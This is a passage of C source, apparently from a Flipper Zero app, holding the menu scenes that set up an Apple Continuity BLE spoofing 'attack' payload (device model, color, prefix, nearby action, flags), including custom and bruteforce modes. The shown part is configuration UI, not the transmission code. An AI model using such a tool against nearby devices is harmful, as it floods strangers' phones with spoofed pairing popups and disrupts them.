  748. void scene_continuity_pp_model_on_enter(void* _ctx) {
  749. Ctx* ctx = _ctx;
  750. Payload* payload = &ctx->attack->payload;
  751. ContinuityCfg* cfg = &payload->cfg.continuity;
  752. Submenu* submenu = ctx->submenu;
  753. uint32_t selected = 0;
  754. submenu_reset(submenu);
  755. bool value = payload->mode == PayloadModeValue ||
  756. (payload->mode == PayloadModeBruteforce &&
  757. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceModel);
  758. submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
  759. if(payload->mode == PayloadModeRandom) {
  760. selected = 0;
  761. }
  762. bool found = false;
  763. for(uint8_t i = 0; i < pp_models_count; i++) {
  764. submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
  765. if(!found && value && cfg->data.proximity_pair.model == pp_models[i].value) {
  766. found = true;
  767. selected = i + 1;
  768. }
  769. }
  770. submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
  771. if(!found && value) {
  772. selected = pp_models_count + 1;
  773. }
  774. submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx);
  775. if(!value && payload->mode == PayloadModeBruteforce) {
  776. selected = pp_models_count + 2;
  777. }
  778. submenu_set_selected_item(submenu, selected);
  779. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  780. }
  781. bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
  782. UNUSED(_ctx);
  783. UNUSED(event);
  784. return false;
  785. }
  786. void scene_continuity_pp_model_on_exit(void* _ctx) {
  787. UNUSED(_ctx);
  788. }
  789. static void pp_model_custom_callback(void* _ctx) {
  790. Ctx* ctx = _ctx;
  791. Payload* payload = &ctx->attack->payload;
  792. ContinuityCfg* cfg = &payload->cfg.continuity;
  793. if(payload->mode != PayloadModeBruteforce ||
  794. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  795. payload->mode = PayloadModeValue;
  796. cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
  797. scene_manager_previous_scene(ctx->scene_manager);
  798. scene_manager_previous_scene(ctx->scene_manager);
  799. }
  800. void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
  801. Ctx* ctx = _ctx;
  802. Payload* payload = &ctx->attack->payload;
  803. ContinuityCfg* cfg = &payload->cfg.continuity;
  804. ByteInput* byte_input = ctx->byte_input;
  805. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  806. ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
  807. ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
  808. byte_input_set_result_callback(
  809. byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
  810. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  811. }
  812. bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  813. UNUSED(_ctx);
  814. UNUSED(event);
  815. return false;
  816. }
  817. void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
  818. UNUSED(_ctx);
  819. }
  820. static void pp_color_callback(void* _ctx, uint32_t index) {
  821. Ctx* ctx = _ctx;
  822. Payload* payload = &ctx->attack->payload;
  823. ContinuityCfg* cfg = &payload->cfg.continuity;
  824. uint8_t model_index = 0;
  825. uint8_t colors_count = 0;
  826. if(payload->mode == PayloadModeValue ||
  827. (payload->mode == PayloadModeBruteforce &&
  828. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) {
  829. for(; model_index < pp_models_count; model_index++) {
  830. if(cfg->data.proximity_pair.model == pp_models[model_index].value) {
  831. colors_count = pp_models[model_index].colors_count;
  832. break;
  833. }
  834. }
  835. }
  836. if(index == colors_count) {
  837. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColorCustom);
  838. } else if(index == colors_count + 1U) {
  839. payload->mode = PayloadModeBruteforce;
  840. payload->bruteforce.counter = 0;
  841. payload->bruteforce.value = cfg->data.proximity_pair.color;
  842. payload->bruteforce.size = 1;
  843. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceColor;
  844. scene_manager_previous_scene(ctx->scene_manager);
  845. } else {
  846. if(payload->mode != PayloadModeBruteforce ||
  847. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  848. payload->mode = PayloadModeValue;
  849. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  850. scene_manager_previous_scene(ctx->scene_manager);
  851. }
  852. }
  853. void scene_continuity_pp_color_on_enter(void* _ctx) {
  854. Ctx* ctx = _ctx;
  855. Payload* payload = &ctx->attack->payload;
  856. ContinuityCfg* cfg = &payload->cfg.continuity;
  857. Submenu* submenu = ctx->submenu;
  858. uint32_t selected = 0;
  859. submenu_reset(submenu);
  860. bool value = payload->mode == PayloadModeValue ||
  861. (payload->mode == PayloadModeBruteforce &&
  862. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceColor);
  863. bool found = false;
  864. uint8_t colors_count = 0;
  865. if(payload->mode == PayloadModeValue ||
  866. (payload->mode == PayloadModeBruteforce &&
  867. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) {
  868. for(uint8_t i = 0; i < pp_models_count; i++) {
  869. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  870. colors_count = pp_models[i].colors_count;
  871. for(uint8_t j = 0; j < colors_count; j++) {
  872. submenu_add_item(
  873. submenu, pp_models[i].colors[j].name, j, pp_color_callback, ctx);
  874. if(!found && value &&
  875. cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  876. found = true;
  877. selected = j;
  878. }
  879. }
  880. break;
  881. }
  882. }
  883. }
  884. submenu_add_item(submenu, "Custom", colors_count, pp_color_callback, ctx);
  885. if(!found && value) {
  886. selected = colors_count;
  887. }
  888. submenu_add_item(submenu, "Bruteforce", colors_count + 1, pp_color_callback, ctx);
  889. if(!value && payload->mode == PayloadModeBruteforce) {
  890. selected = colors_count + 1;
  891. }
  892. submenu_set_selected_item(submenu, selected);
  893. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  894. }
  895. bool scene_continuity_pp_color_on_event(void* _ctx, SceneManagerEvent event) {
  896. UNUSED(_ctx);
  897. UNUSED(event);
  898. return false;
  899. }
  900. void scene_continuity_pp_color_on_exit(void* _ctx) {
  901. UNUSED(_ctx);
  902. }
  903. static void pp_color_custom_callback(void* _ctx) {
  904. Ctx* ctx = _ctx;
  905. Payload* payload = &ctx->attack->payload;
  906. ContinuityCfg* cfg = &payload->cfg.continuity;
  907. if(payload->mode != PayloadModeBruteforce ||
  908. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  909. payload->mode = PayloadModeValue;
  910. cfg->data.proximity_pair.color = (ctx->byte_store[0] << 0x00);
  911. scene_manager_previous_scene(ctx->scene_manager);
  912. scene_manager_previous_scene(ctx->scene_manager);
  913. }
  914. void scene_continuity_pp_color_custom_on_enter(void* _ctx) {
  915. Ctx* ctx = _ctx;
  916. Payload* payload = &ctx->attack->payload;
  917. ContinuityCfg* cfg = &payload->cfg.continuity;
  918. ByteInput* byte_input = ctx->byte_input;
  919. byte_input_set_header_text(byte_input, "Enter custom Device Color");
  920. ctx->byte_store[0] = (cfg->data.proximity_pair.color >> 0x00) & 0xFF;
  921. byte_input_set_result_callback(
  922. byte_input, pp_color_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  923. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  924. }
  925. bool scene_continuity_pp_color_custom_on_event(void* _ctx, SceneManagerEvent event) {
  926. UNUSED(_ctx);
  927. UNUSED(event);
  928. return false;
  929. }
  930. void scene_continuity_pp_color_custom_on_exit(void* _ctx) {
  931. UNUSED(_ctx);
  932. }
  933. static void pp_prefix_callback(void* _ctx, uint32_t index) {
  934. Ctx* ctx = _ctx;
  935. Payload* payload = &ctx->attack->payload;
  936. ContinuityCfg* cfg = &payload->cfg.continuity;
  937. switch(index) {
  938. case 0:
  939. cfg->data.proximity_pair.prefix = 0x00;
  940. scene_manager_previous_scene(ctx->scene_manager);
  941. break;
  942. case pp_prefixes_count + 1:
  943. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
  944. break;
  945. default:
  946. cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
  947. scene_manager_previous_scene(ctx->scene_manager);
  948. break;
  949. }
  950. }
  951. void scene_continuity_pp_prefix_on_enter(void* _ctx) {
  952. Ctx* ctx = _ctx;
  953. Payload* payload = &ctx->attack->payload;
  954. ContinuityCfg* cfg = &payload->cfg.continuity;
  955. Submenu* submenu = ctx->submenu;
  956. uint32_t selected = 0;
  957. bool found = false;
  958. submenu_reset(submenu);
  959. submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
  960. if(cfg->data.proximity_pair.prefix == 0x00) {
  961. found = true;
  962. selected = 0;
  963. }
  964. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  965. submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
  966. if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  967. found = true;
  968. selected = i + 1;
  969. }
  970. }
  971. submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
  972. if(!found) {
  973. selected = pp_prefixes_count + 1;
  974. }
  975. submenu_set_selected_item(submenu, selected);
  976. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  977. }
  978. bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
  979. UNUSED(_ctx);
  980. UNUSED(event);
  981. return false;
  982. }
  983. void scene_continuity_pp_prefix_on_exit(void* _ctx) {
  984. UNUSED(_ctx);
  985. }
  986. static void pp_prefix_custom_callback(void* _ctx) {
  987. Ctx* ctx = _ctx;
  988. Payload* payload = &ctx->attack->payload;
  989. ContinuityCfg* cfg = &payload->cfg.continuity;
  990. cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
  991. scene_manager_previous_scene(ctx->scene_manager);
  992. scene_manager_previous_scene(ctx->scene_manager);
  993. }
  994. void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
  995. Ctx* ctx = _ctx;
  996. Payload* payload = &ctx->attack->payload;
  997. ContinuityCfg* cfg = &payload->cfg.continuity;
  998. ByteInput* byte_input = ctx->byte_input;
  999. byte_input_set_header_text(byte_input, "Enter custom Prefix");
  1000. ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
  1001. byte_input_set_result_callback(
  1002. byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1003. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1004. }
  1005. bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1006. UNUSED(_ctx);
  1007. UNUSED(event);
  1008. return false;
  1009. }
  1010. void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
  1011. UNUSED(_ctx);
  1012. }
  1013. static void na_action_callback(void* _ctx, uint32_t index) {
  1014. Ctx* ctx = _ctx;
  1015. Payload* payload = &ctx->attack->payload;
  1016. ContinuityCfg* cfg = &payload->cfg.continuity;
  1017. switch(index) {
  1018. case 0:
  1019. payload->mode = PayloadModeRandom;
  1020. scene_manager_previous_scene(ctx->scene_manager);
  1021. break;
  1022. case na_actions_count + 1:
  1023. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
  1024. break;
  1025. case na_actions_count + 2:
  1026. payload->mode = PayloadModeBruteforce;
  1027. payload->bruteforce.counter = 0;
  1028. payload->bruteforce.value = cfg->data.nearby_action.action;
  1029. payload->bruteforce.size = 1;
  1030. scene_manager_previous_scene(ctx->scene_manager);
  1031. break;
  1032. default:
  1033. payload->mode = PayloadModeValue;
  1034. cfg->data.nearby_action.action = na_actions[index - 1].value;
  1035. scene_manager_previous_scene(ctx->scene_manager);
  1036. break;
  1037. }
  1038. }
  1039. void scene_continuity_na_action_on_enter(void* _ctx) {
  1040. Ctx* ctx = _ctx;
  1041. Payload* payload = &ctx->attack->payload;
  1042. ContinuityCfg* cfg = &payload->cfg.continuity;
  1043. Submenu* submenu = ctx->submenu;
  1044. uint32_t selected = 0;
  1045. submenu_reset(submenu);
  1046. submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
  1047. if(payload->mode == PayloadModeRandom) {
  1048. selected = 0;
  1049. }
  1050. bool found = false;
  1051. for(uint8_t i = 0; i < na_actions_count; i++) {
  1052. submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
  1053. if(!found && payload->mode == PayloadModeValue &&
  1054. cfg->data.nearby_action.action == na_actions[i].value) {
  1055. found = true;
  1056. selected = i + 1;
  1057. }
  1058. }
  1059. submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
  1060. if(!found && payload->mode == PayloadModeValue) {
  1061. selected = na_actions_count + 1;
  1062. }
  1063. submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx);
  1064. if(payload->mode == PayloadModeBruteforce) {
  1065. selected = na_actions_count + 2;
  1066. }
  1067. submenu_set_selected_item(submenu, selected);
  1068. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  1069. }
  1070. bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
  1071. UNUSED(_ctx);
  1072. UNUSED(event);
  1073. return false;
  1074. }
  1075. void scene_continuity_na_action_on_exit(void* _ctx) {
  1076. UNUSED(_ctx);
  1077. }
  1078. static void na_action_custom_callback(void* _ctx) {
  1079. Ctx* ctx = _ctx;
  1080. Payload* payload = &ctx->attack->payload;
  1081. ContinuityCfg* cfg = &payload->cfg.continuity;
  1082. payload->mode = PayloadModeValue;
  1083. cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
  1084. scene_manager_previous_scene(ctx->scene_manager);
  1085. scene_manager_previous_scene(ctx->scene_manager);
  1086. }
  1087. void scene_continuity_na_action_custom_on_enter(void* _ctx) {
  1088. Ctx* ctx = _ctx;
  1089. Payload* payload = &ctx->attack->payload;
  1090. ContinuityCfg* cfg = &payload->cfg.continuity;
  1091. ByteInput* byte_input = ctx->byte_input;
  1092. byte_input_set_header_text(byte_input, "Enter custom Action Type");
  1093. ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
  1094. byte_input_set_result_callback(
  1095. byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1096. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1097. }
  1098. bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1099. UNUSED(_ctx);
  1100. UNUSED(event);
  1101. return false;
  1102. }
  1103. void scene_continuity_na_action_custom_on_exit(void* _ctx) {
  1104. UNUSED(_ctx);
  1105. }
  1106. static void na_flags_callback(void* _ctx) {
  1107. Ctx* ctx = _ctx;
  1108. scene_manager_previous_scene(ctx->scene_manager);
  1109. }
  1110. void scene_continuity_na_flags_on_enter(void* _ctx) {
  1111. Ctx* ctx = _ctx;
  1112. Payload* payload = &ctx->attack->payload;
  1113. ContinuityCfg* cfg = &payload->cfg.continuity;
  1114. ByteInput* byte_input = ctx->byte_input;
  1115. byte_input_set_header_text(byte_input, "Press back for automatic");
  1116. ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
  1117. byte_input_set_result_callback(
  1118. byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1119. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1120. }
  1121. bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
  1122. Ctx* ctx = _ctx;
  1123. if(event.type == SceneManagerEventTypeBack) {
  1124. ctx->byte_store[0] = 0x00;
  1125. }
  1126. return false;
  1127. }
  1128. void scene_continuity_na_flags_on_exit(void* _ctx) {
  1129. Ctx* ctx = _ctx;
  1130. Payload* payload = &ctx->attack->payload;
  1131. ContinuityCfg* cfg = &payload->cfg.continuity;
  1132. cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
  1133. }